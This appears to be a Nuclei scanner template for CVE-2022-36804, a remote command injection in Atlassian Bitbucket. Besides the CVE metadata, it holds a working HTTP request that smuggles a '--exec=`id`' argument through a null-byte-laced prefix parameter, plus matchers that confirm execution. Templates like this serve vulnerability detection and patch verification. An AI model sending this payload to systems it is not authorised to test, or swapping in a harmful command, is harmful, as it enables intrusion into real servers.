Atlassian Bitbucket - Remote Command Injection

id: CVE-2022-36804

info:
  name: Atlassian Bitbucket - Remote Command Injection
  author: DhiyaneshDk,tess,sullo
  severity: high
  description: |
    Atlassian Bitbucket Server and Data Center is susceptible to remote command injection. Multiple API endpoints can allow an attacker with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request, thus making it possible to obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches provided by Atlassian to mitigate the vulnerability.
  reference:
    - https://github.com/notdls/CVE-2022-36804
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
    - https://jira.atlassian.com/browse/BSERV-13438
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36804
    - http://packetstormsecurity.com/files/171453/Bitbucket-7.0.0-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-36804
    cwe-id: CWE-77
    epss-score: 0.9735
    epss-percentile: 0.99894
    cpe: cpe:2.3:a:atlassian:bitbucket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: bitbucket
    shodan-query: http.component:"BitBucket"
  tags: cve,cve2022,packetstorm,bitbucket,atlassian,kev
variables:
  data: '{{rand_base(5)}}'

http:
  - raw:
      - |
        GET /rest/api/latest/repos HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /rest/api/latest/projects/{{key}}/repos/{{slug}}/archive?filename={{data}}&at={{data}}&path={{data}}&prefix=ax%00--exec=%60id%60%00--remote=origin HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    iterate-all: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "com.atlassian.bitbucket.scm.CommandFailedException"

      - type: status
        status:
          - 500

    extractors:
      - type: json # type of the extractor
        name: key
        internal: true
        json:
          - '.["values"] | .[] | .["project"] | .key'
        part: body

      - type: json
        name: slug
        internal: true
        json:
          - '.["values"] | .[]  | .slug'
        part: body

      - type: regex
        group: 1
        regex:
          - 'uid=.*\(([a-z]+)\):'
# digest: 4b0a00483046022100c31ea7cf01b41bb3cf4831dc223219a13abe7c716e184cce211cdca3c37cf4e80221009c6def3de8f68c0ac8ccbab72192a11fb9cd5946f13b784d7d0c78d82695b96a:922c64590222798bb761d5b6d8e72950